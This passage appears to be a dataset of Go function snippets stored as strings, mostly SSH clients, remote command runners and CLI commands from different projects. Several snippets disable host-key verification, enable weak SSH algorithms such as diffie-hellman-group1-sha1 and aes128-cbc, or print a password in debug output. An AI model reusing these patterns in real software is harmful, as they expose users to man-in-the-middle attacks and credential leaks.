{\n\t\t//\t\t\tlog.Fatal(err)\n\t\t//\t\t}\n\t} else {\n\t\tlog.Fatal(`Please set method \"password\" or \"key\" at configuration file`)\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", remote_host+\":\"+Conf.SshPort, config)\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to dial: \", err)\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to create session: \", err)\n\t}\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stdout = &b\n\tif err := session.Run(Conf.Command); err != nil {\n\t\tlog.Fatal(\"Failed to run: \" + err.Error())\n\t}\n\tfmt.Println(\"\\x1b[31;1m\" + remote_host + \"\\x1b[0m\")\n\treturn b.String()\n}","func (sshClient *SSHClient) connect() (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// get auth method\n\tauth = make([]ssh.AuthMethod, 0)\n\tauth = append(auth, ssh.Password(sshClient.Password))\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: sshClient.Username,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\tclientConfig.Ciphers = append(clientConfig.Ciphers, \"aes128-cbc\", \"aes128-ctr\")\n\n\tif sshClient.KexAlgorithms != \"\" {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, sshClient.KexAlgorithms)\n\t} else {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, \"diffie-hellman-group1-sha1\")\n\t}\n\n\t/*if sshClient.Cipher != \"\" {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, sshClient.Cipher)\n\t} else {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, \"diffie-hellman-group1-sha1\")\n\t}*/\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", sshClient.Host, sshClient.Port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}","func SendCommand(cmd string) error {\n\tconn, _ := ConnectNhc(&config.Conf.NhcConfig)\n\t// no error handling as connect will exit in case of issue\n\tlog.Debug(\"received command: \", cmd)\n\tfmt.Println(\"received command: \", cmd)\n\tfmt.Fprintf(conn, cmd+\"\\n\")\n\treturn nil\n}","func NewConnectCmd(f factory.Factory) *cobra.Command {\n\tconnectCmd := &cobra.Command{\n\t\tUse: \"connect\",\n\t\tShort: \"Connect an external cluster to devspace cloud\",\n\t\tLong: `\n#######################################################\n################# devspace connect ####################\n#######################################################\n\t`,\n\t\tArgs: cobra.NoArgs,\n\t}\n\n\tconnectCmd.AddCommand(newClusterCmd(f))\n\n\treturn connectCmd\n}","func main() {\n\tprintln(\"ENTER THE ADDRESS TO CONNECT (ex: \\\"185.20.227.83:22\\\"):\") //185.20.227.83:22\n\tline, _, _ := bufio.NewReader(os.Stdin).ReadLine()\n\taddr := string(line)\n\tprintln(\"CHOOSE A CONNECTION METHOD \\\"PASSWORD\\\" OR \\\"KEY\\\" (ex: \\\"PASSWORD\\\"):\")\n\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\tconnMethod := string(line)\n\n\tvar config *ssh.ClientConfig\n\tif connMethod == \"PASSWORD\" {\n\t\tconfig = getConfigWithPass()\n\t} else if connMethod == \"KEY\" {\n\t\tconfig = getConfigWithKey()\n\t} else {\n\t\tlog.Fatal(\"INCORRECT METHOD\")\n\t\treturn\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", addr, config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tprintln(\"ENTER \\\"EXIT\\\" TO QUIT\")\n\tfor {\n\t\tfmt.Println(\"ENTER THE COMMAND:\")\n\t\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\t\tcommand := string(line)\n\t\tfmt.Println(\"YOUR COMMAND:\", command)\n\t\tif command == \"EXIT\" {\n\t\t\tbreak\n\t\t}\n\t\tsendCommandToServer(client, command)\n\t}\n}","func Run(connectAs string, connectTo string, key string) {\n\ttarget := connectAs + \"@\" + connectTo\n\tlog.Info(\"Connecting as \" + target)\n\n\texecutable := \"sshpass\"\n\tparams := []string{\n\t\t\"-p\", key, \"ssh\", \"-o\", \"StrictHostKeyChecking=no\", \"-t\", \"-t\", target,\n\t}\n\tlog.Infof(\"Launching: %s %s\", executable, strings.Join(params, \" \"))\n\n\tif log.GetLevel() == log.DebugLevel {\n\t\tfor i, param := range params {\n\t\t\tif param == \"ssh\" {\n\t\t\t\ti = i + 1\n\t\t\t\t// Yes: this is crazy, but this inserts an element into a slice\n\t\t\t\tparams = append(params[:i], append([]string{\"-v\"}, params[i:]...)...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tcmd := exec.Command(executable, params...)\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdout = os.Stdout\n\tcmd.Stdin = os.Stdin\n\terr := cmd.Start()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcmd.Wait()\n\tlog.Infof(\"Just ran subprocess %d, exiting\\n\", cmd.Process.Pid)\n}","func InvokeCommand(ip, cmdStr string) (string, error) {\n\t// OpenSSH sessions terminate sporadically when a pty isn't allocated.\n\t// The -t flag doesn't work with OpenSSH on Windows, so we wrap the ssh call\n\t// within a bash session as a workaround, so that a pty is created.\n\tcmd := exec.Command(\"/bin/bash\")\n\tcmd.Stdin = strings.NewReader(fmt.Sprintf(sshTemplate, ip, cmdStr))\n\tout, err := cmd.CombinedOutput()\n\treturn strings.TrimSpace(string(out[:])), err\n}","func (client *Client) Connect() error {\n\tkeys := ssh.Auth{\n\t\tKeys: []string{client.PrivateKeyFile},\n\t}\n\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \"SSH-2.0-MyCustomClient-1.0\", client.Port, &keys, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\terr = sshterm.Shell()\n\tif err != nil && err.Error() != \"exit status 255\" {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\treturn nil\n}","func (this Scanner) connect(user, host string, conf ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\n\t// Develop the network connection out\n\tconn, err := ssh.Dial(\"tcp\", host, &conf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Actually perform our connection\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tconn.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn conn, session, nil\n}","func Test_SSH(t *testing.T) {\n\tvar cipherList []string\n\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tdefer session.Close()\n\n\tcmdlist := strings.Split(cmd, \";\")\n\tstdinBuf, err := session.StdinPipe()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tvar outbt, errbt bytes.Buffer\n\tsession.Stdout = &outbt\n\n\tsession.Stderr = &errbt\n\terr = session.Shell()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tfor _, c := range cmdlist {\n\t\tc = c + \"\\n\"\n\t\tstdinBuf.Write([]byte(c))\n\n\t}\n\tsession.Wait()\n\tt.Log((outbt.String() + errbt.String()))\n\treturn\n}","func NewSSHCommand(p *config.KfParams) *cobra.Command {\n\tvar (\n\t\tdisableTTY bool\n\t\tcommand []string\n\t\tcontainer string\n\t)\n\n\tcmd := &cobra.Command{\n\t\tUse: \"ssh APP_NAME\",\n\t\tShort: \"Open a shell on an App instance.\",\n\t\tExample: `\n\t\t# Open a shell to a specific App\n\t\tkf ssh myapp\n\n\t\t# Open a shell to a specific Pod\n\t\tkf ssh pod/myapp-revhex-podhex\n\n\t\t# Start a different command with args\n\t\tkf ssh myapp -c /my/command -c arg1 -c arg2\n\t\t`,\n\t\tArgs: cobra.ExactArgs(1),\n\t\tLong: `\n\t\tOpens a shell on an App instance using the Pod exec endpoint.\n\n\t\tThis command mimics CF's SSH command by opening a connection to the\n\t\tKubernetes control plane which spawns a process in a Pod.\n\n\t\tThe command connects to an arbitrary Pod that matches the App's runtime\n\t\tlabels. If you want a specific Pod, use the pod/ notation.\n\n\t\tNOTE: Traffic is encrypted between the CLI and the control plane, and\n\t\tbetween the control plane and Pod. A malicious Kubernetes control plane\n\t\tcould observe the traffic.\n\t\t`,\n\t\tValidArgsFunction: completion.AppCompletionFn(p),\n\t\tSilenceUsage: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tctx := cmd.Context()\n\t\t\tif err := p.ValidateSpaceTargeted(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tstreamExec := execstreamer.Get(ctx)\n\n\t\t\tenableTTY := !disableTTY\n\t\t\tappName := args[0]\n\n\t\t\tpodSelector := metav1.ListOptions{}\n\t\t\tif strings.HasPrefix(appName, podPrefix) {\n\t\t\t\tpodName := strings.TrimPrefix(appName, podPrefix)\n\t\t\t\tpodSelector.FieldSelector = fields.OneTermEqualSelector(\"metadata.name\", podName).String()\n\t\t\t} else {\n\t\t\t\tappLabels := v1alpha1.AppComponentLabels(appName, \"app-server\")\n\t\t\t\tpodSelector.LabelSelector = labels.SelectorFromSet(appLabels).String()\n\t\t\t}\n\n\t\t\texecOpts := corev1.PodExecOptions{\n\t\t\t\tContainer: container,\n\t\t\t\tCommand: command,\n\t\t\t\tStdin: true,\n\t\t\t\tStdout: true,\n\t\t\t\tStderr: true,\n\t\t\t\tTTY: enableTTY,\n\t\t\t}\n\n\t\t\tt := term.TTY{\n\t\t\t\tOut: cmd.OutOrStdout(),\n\t\t\t\tIn: cmd.InOrStdin(),\n\t\t\t\tRaw: true,\n\t\t\t}\n\n\t\t\tsizeQueue := t.MonitorSize(t.GetSize())\n\n\t\t\tstreamOpts := remotecommand.StreamOptions{\n\t\t\t\tStdin: cmd.InOrStdin(),\n\t\t\t\tStdout: cmd.OutOrStdout(),\n\t\t\t\tStderr: cmd.ErrOrStderr(),\n\t\t\t\tTty: enableTTY,\n\t\t\t\tTerminalSizeQueue: sizeQueue,\n\t\t\t}\n\n\t\t\t// Set up a TTY locally if it's enabled.\n\t\t\tif fd, isTerm := dockerterm.GetFdInfo(streamOpts.Stdin); isTerm && enableTTY {\n\t\t\t\toriginalState, err := dockerterm.MakeRaw(fd)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdefer dockerterm.RestoreTerminal(fd, originalState)\n\t\t\t}\n\n\t\t\treturn streamExec.Stream(ctx, podSelector, execOpts, streamOpts)\n\t\t},\n\t}\n\n\tcmd.Flags().StringArrayVarP(\n\t\t&command,\n\t\t\"command\",\n\t\t\"c\",\n\t\t[]string{\"/bin/bash\"},\n\t\t\"Command to run for the shell. Subsequent definitions will be used as args.\",\n\t)\n\n\tcmd.Flags().StringVar(\n\t\t&container,\n\t\t\"container\",\n\t\tv1alpha1.DefaultUserContainerName,\n\t\t\"Container to start the command in.\",\n\t)\n\n\tcmd.Flags().BoolVarP(\n\t\t&disableTTY,\n\t\t\"disable-pseudo-tty\",\n\t\t\"T\",\n\t\tfalse,\n\t\t\"Don't use a TTY when executing.\",\n\t)\n\n\treturn cmd\n}","func Exec(cmds []string, host config.Host, pwd string, force bool) (string, error) {\n\tvar err error\n\tvar auth goph.Auth\n\tvar callback ssh.HostKeyCallback\n\n\tif force {\n\t\tcallback = ssh.InsecureIgnoreHostKey()\n\t} else {\n\t\tif callback, err = DefaultKnownHosts(); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tif host.Keyfile != \"\" {\n\t\t// Start new ssh connection with private key.\n\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\t\t\tfmt.Println(err)\n\t\t\t}\n\t\t\t// ssh: this private key is passphrase protected\n\t\t\tpwd = common.AskPass(\"Private key passphrase: \")\n\t\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif pwd == \"\" {\n\t\t\tpwd = common.AskPass(\n\t\t\t\tfmt.Sprintf(\"%s@%s's password: \", host.User, host.Addr),\n\t\t\t)\n\t\t}\n\t\tauth = goph.Password(pwd)\n\t}\n\n\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\tfmt.Println(host, pwd, force)\n\t}\n\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: host.User,\n\t\tAddr: host.Addr,\n\t\tPort: host.Port,\n\t\tAuth: auth,\n\t\tTimeout: 5 * time.Second,\n\t\tCallback: callback,\n\t})\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Defer closing the network connection.\n\tdefer client.Close()\n\n\t// Execute your command.\n\tout, err := client.Run(strings.Join(cmds, \" && \"))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get your output as []byte.\n\treturn string(out), nil\n}","func (s *Transport) connect(user string, config *ssh.ClientConfig) (*ssh.Client, error) {\n const sshTimeout = 30 * time.Second\n\n if v, ok := s.client(user); ok {\n return v, nil\n }\n\n client, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", s.addr, s.port), config)\n if err != nil {\n return nil, err\n }\n s.mu.Lock()\n defer s.mu.Unlock()\n s.clients[user] = client\n return client, nil\n}","func (ssh *SSHConfig) Exec(cmdString string) error {\n\ttunnels, sshConfig, err := ssh.CreateTunnels()\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, cmdString, false)\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tbash, err := exec.LookPath(\"bash\")\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tvar args []string\n\tif cmdString == \"\" {\n\t\targs = []string{sshCmdString}\n\t} else {\n\t\targs = []string{\"-c\", sshCmdString}\n\t}\n\terr = syscall.Exec(bash, args, nil)\n\tnerr := utils.LazyRemove(keyFile.Name())\n\tif nerr != nil {\n\t}\n\treturn err\n}","func Connect(cmd *cobra.Command) (radio.Connector, error) {\n\tif cmd == nil {\n\t\treturn nil, errors.New(\"no cobra command given\")\n\t}\n\tconnector := connector{\n\t\tcmd: cmd,\n\t}\n\n\treturn &connector, nil\n}","func (sc *SSHClient) InteractiveCommand(cmd string) error {\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tin, err := session.StdinPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(out, in)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(outerr, in)\n\terr = session.Shell()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Fprintf(in, \"%s\\n\", cmd)\n\treturn session.Wait()\n}","func DialCommand(cmd *exec.Cmd) (*Conn, error) {\n\treader, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\twriter, err := cmd.StdinPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Conn{reader, writer, os.Getpid(), cmd.Process.Pid}, nil\n}","func SSHConnect(resource *OpenAmResource, port string) (*ssh.Client, *ssh.Session, error) {\n\n\tsshConfig := &ssh.ClientConfig{\n\t\tUser: resource.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.Password(resource.Password)},\n\t}\n\n\tserverString := resource.Hostname + \":\" + port\n\n\tsshConfig.HostKeyCallback = ssh.InsecureIgnoreHostKey()\n\tclient, err := ssh.Dial(\"tcp\", serverString, sshConfig)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tclient.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn client, session, nil\n}","func cmdSSH() {\n\tswitch state := status(B2D.VM); state {\n\tcase vmUnregistered:\n\t\tlog.Fatalf(\"%s is not registered.\", B2D.VM)\n\tcase vmRunning:\n\t\tcmdParts := append(strings.Fields(B2D.SSHPrefix), fmt.Sprintf(\"%d\", B2D.SSHPort), \"docker@localhost\")\n\t\tif err := cmd(cmdParts[0], cmdParts[1:]...); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\tdefault:\n\t\tlog.Fatalf(\"%s is not running.\", B2D.VM)\n\t}\n}","func SetSSHCommand(command string) {\n\tsshCommand = command\n}","func ConnectSSH(ip string) (*goph.Client, error) {\n\t// gets private ssh key\n\thome, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdir := home + \"/.ssh/id_rsa\"\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Printf(\"Type password of ssh key:\")\n\tpass, err := reader.ReadString('\\n')\n\tpass = strings.Trim(pass, \"\\n\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// gets an auth method goph.Auth for handling the connection request\n\tauth, err := goph.Key(dir, pass)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// asks for a new ssh connection returning the client for SSH\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: \"root\",\n\t\tAddr: ip,\n\t\tPort: 22,\n\t\tAuth: auth,\n\t\tCallback: VerifyHost, //HostCallBack custom (appends host to known_host if not exists)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn client, nil\n}","func Dial(waitCtx context.Context, sshConf map[string]interface{}) (*Remoter, error) {\n\tr := &Remoter{}\n\tvar exists bool\n\tr.Host, exists = sshConf[\"host\"].(string)\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"conf not exists host\")\n\t}\n\tr.User, exists = sshConf[\"user\"].(string)\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"conf not exists user\")\n\t}\n\tr.Port, exists = sshConf[\"port\"].(string)\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"conf not exists port\")\n\t}\n\taddr := net.JoinHostPort(r.Host, r.Port)\n\n\tauth := make([]ssh.AuthMethod, 0)\n\tif pass, ok := sshConf[\"password\"].(string); ok {\n\t\tauth = append(auth, ssh.Password(pass))\n\t} else {\n\t\tprivKeyFileName, exists := sshConf[\"privKey\"].(string)\n\t\tif !exists {\n\t\t\treturn nil, fmt.Errorf(\"conf not exists privKey\")\n\t\t}\n\t\tprivKeyBytes, err := ioutil.ReadFile(privKeyFileName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tprivKey, err := ssh.ParsePrivateKey(privKeyBytes)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tauth = append(auth, ssh.PublicKeys(privKey))\n\t}\n\n\thostKeyCallback := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tcltConf := ssh.ClientConfig{\n\t\tUser: r.User,\n\t\tAuth: auth,\n\t\tHostKeyCallback: hostKeyCallback,\n\t}\n\t// 这里有 TCP 三次握手超时和 SSH 握手超时\n\tclt, err := r.dialContext(waitCtx, \"tcp\", addr, &cltConf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tr.clt = clt\n\treturn r, nil\n}","func (ssh *SSHConfig) Command(cmdString string) (*SSHCommand, error) {\n\treturn ssh.command(cmdString, false)\n}","func (ssh *SSHConfig) CommandContext(ctx context.Context, cmdString string) (*SSHCommand, error) {\n\ttunnels, sshConfig, err := ssh.CreateTunnels()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, cmdString, false)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tcmd := exec.CommandContext(ctx, \"bash\", \"-c\", sshCmdString)\n\tsshCommand := SSHCommand{\n\t\tcmd: cmd,\n\t\ttunnels: tunnels,\n\t\tkeyFile: keyFile,\n\t}\n\treturn &sshCommand, nil\n}","func sendCommand(conn net.Conn, command string, text string) {\n\tfmt.Fprintf(conn, \"%s %s\\r\\n\", command, text)\n fmt.Printf(\"%s %s\\n\", command, text)\n}","func Command(cfg config.Config) []cli.Command {\n\tsshCmd := cli.Command{\n\t\tName: \"ssh\",\n\t\tUsage: \"access an environment using ssh\",\n\t}\n\t// scpCmd := cli.Command{\n\t// \tName: \"scp\",\n\t// \tUsage: \"access an environment using scp\",\n\t// }\n\n\tfor _, e := range cfg.Environments {\n\t\tvar env = e\n\t\tsshSubcommand := cli.Command{\n\t\t\tName: env.Name,\n\t\t\tUsage: \"ssh to \" + env.Name,\n\t\t}\n\t\t// scpSubcommand := cli.Command{\n\t\t// \tName: env.Name,\n\t\t// \tUsage: \"scp to \" + env.Name,\n\t\t// }\n\n\t\tgroups, err := ansible.GetGroupsForEnvironment(cfg, env.Name)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"error loading ansible hosts for %s: %s\\n\", env.Name, err)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar actionFunc = func(grp string, env config.Environment, scp bool) func(c *cli.Context) error {\n\t\t\treturn func(c *cli.Context) error {\n\t\t\t\tif len(cfg.SSHUser) == 0 {\n\t\t\t\t\treturn fmt.Errorf(\"DP_SSH_USER environment variable must be set\")\n\t\t\t\t}\n\n\t\t\t\tidx := c.Args().First()\n\t\t\t\trIndex := int(-1)\n\n\t\t\t\tif len(idx) > 0 {\n\t\t\t\t\tidxInt, err := strconv.Atoi(idx)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"invalid numeric value for index: %s\", idx)\n\t\t\t\t\t}\n\t\t\t\t\trIndex = idxInt\n\t\t\t\t}\n\n\t\t\t\t// if scp {\n\t\t\t\t// \tfmt.Println(\"scp to \" + grp + \" in \" + env.Name)\n\t\t\t\t// } else {\n\t\t\t\tfmt.Println(\"ssh to \" + grp + \" in \" + env.Name)\n\t\t\t\t// }\n\n\t\t\t\tr, err := aws.ListEC2ByAnsibleGroup(env.Name, grp)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error fetching ec2: %s\", err)\n\t\t\t\t}\n\t\t\t\tif len(r) == 0 {\n\t\t\t\t\treturn errors.New(\"no matching instances found\")\n\t\t\t\t}\n\t\t\t\tvar inst aws.EC2Result\n\t\t\t\tif len(r) > 1 {\n\t\t\t\t\tif rIndex < 0 {\n\t\t\t\t\t\tfor i, v := range r {\n\t\t\t\t\t\t\tfmt.Printf(\"[%d] %s: %s %s\\n\", i, v.Name, v.IPAddress, v.AnsibleGroups)\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn errors.New(\"use an index to select a specific instance\")\n\t\t\t\t\t}\n\n\t\t\t\t\tinst = r[rIndex]\n\t\t\t\t} else {\n\t\t\t\t\tinst = r[0]\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"[%d] %s: %s %s\\n\", rIndex, inst.Name, inst.IPAddress, inst.AnsibleGroups)\n\n\t\t\t\t// if scp {\n\t\t\t\t// \treturn launch.SCP(cfg, cfg.SSHUser, inst.IPAddress, c.Args().Tail()...)\n\t\t\t\t// } else {\n\t\t\t\treturn launch.SSH(cfg, cfg.SSHUser, inst.IPAddress)\n\t\t\t\t// }\n\t\t\t}\n\t\t}\n\n\t\tfor _, g := range groups {\n\t\t\tvar grp = g\n\t\t\tsshGroupCmd := cli.Command{\n\t\t\t\tName: grp,\n\t\t\t\tUsage: \"ssh to \" + grp + \" in \" + env.Name,\n\t\t\t\tAction: actionFunc(grp, env, false),\n\t\t\t}\n\t\t\t// scpGroupCmd := cli.Command{\n\t\t\t// \tName: grp,\n\t\t\t// \tUsage: \"scp to \" + grp + \" in \" + env.Name,\n\t\t\t// \tAction: actionFunc(grp, env, true),\n\t\t\t// }\n\t\t\tsshSubcommand.Subcommands = append(sshSubcommand.Subcommands, sshGroupCmd)\n\t\t\t// scpSubcommand.Subcommands = append(scpSubcommand.Subcommands, scpGroupCmd)\n\t\t}\n\n\t\tsshCmd.Subcommands = append(sshCmd.Subcommands, sshSubcommand)\n\t\t// scpCmd.Subcommands = append(scpCmd.Subcommands, scpSubcommand)\n\t}\n\n\t// return []cli.Command{sshCmd, scpCmd}\n\treturn []cli.Command{sshCmd}\n}","func init() {\n\tcmd := cli.Command{\n\t\tName: \"ssh\",\n\t\tUsage: \"create and manage ssh certificates\",\n\t\tUsageText: \"step ssh [arguments] [global-flags] [subcommand-flags]\",\n\t\tDescription: `**step ssh** command group provides facilities to sign SSH certificates.\n\n## EXAMPLES\n\nGenerate a new SSH key pair and user certificate:\n'''\n$ step ssh certificate joe@work id_ecdsa\n'''\n\nGenerate a new SSH key pair and host certificate:\n'''\n$ step ssh certificate --host internal.example.com ssh_host_ecdsa_key\n'''\n\nAdd a new user certificate to the agent:\n'''\n$ step ssh login joe@example.com\n'''\n\nRemove a certificate from the agent:\n'''\n$ step ssh logout joe@example.com\n'''\n\nList all keys in the agent:\n'''\n$ step ssh list\n'''\n\nConfigure a user environment with the SSH templates:\n'''\n$ step ssh config\n'''\n\nInspect an ssh certificate file:\n'''\n$ step ssh inspect id_ecdsa-cert.pub\n'''\n\nInspect an ssh certificate in the agent:\n'''\n$ step ssh list --raw joe@example.com | step ssh inspect\n'''\n\nList all the hosts you have access to:\n'''\n$ step ssh hosts\n'''\n\nLogin into one host:\n'''\n$ ssh internal.example.com\n'''`,\n\t\tSubcommands: cli.Commands{\n\t\t\tcertificateCommand(),\n\t\t\tcheckHostCommand(),\n\t\t\tconfigCommand(),\n\t\t\tfingerPrintCommand(),\n\t\t\thostsCommand(),\n\t\t\tinspectCommand(),\n\t\t\tlistCommand(),\n\t\t\tloginCommand(),\n\t\t\tlogoutCommand(),\n\t\t\tneedsRenewalCommand(),\n\t\t\t// proxyCommand(),\n\t\t\tproxycommandCommand(),\n\t\t\trekeyCommand(),\n\t\t\trenewCommand(),\n\t\t\trevokeCommand(),\n\t\t},\n\t}\n\n\tcommand.Register(cmd)\n}","func (self *SinglePad) ConnectI(args ...interface{}) {\n self.Object.Call(\"connect\", args)\n}","func (s *SSHClient) Execute(host, cmd string) (string, error) {\n\thostname := fmt.Sprintf(\"%s.%s.%s:%d\", host, s.projectID, DropletDomain, defaultSSHPort)\n\n\tpemBytes, err := s.repo.GetKey(s.projectID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(pemBytes)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"parse key failed: %v\", err)\n\t}\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: \"workshop\",\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"dialing\")\n\tconn, err := ssh.Dial(\"tcp\", hostname, config)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"creating session\")\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer session.Close()\n\n\tvar buf bytes.Buffer\n\tsession.Stdout = &buf\n\n\ts.log.WithFields(logrus.Fields{\n\t\t\"hostname\": hostname,\n\t\t\"cmd\": cmd}).\n\t\tInfo(\"running command\")\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\ts.log.WithField(\"output\", buf.String()).WithError(err).Error(\"ssh client run returned non zero result\")\n\t\treturn \"\", fmt.Errorf(\"%s\\n%s\", err, buf.String())\n\t}\n\n\treturn buf.String(), nil\n}","func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\n\tvar b bytes.Buffer // import \"bytes\"\n\n\t// Connect\n\tclient, err := ssh.Dial(\"tcp\", net.JoinHostPort(addr, \"22\"), config)\n\tif err != nil 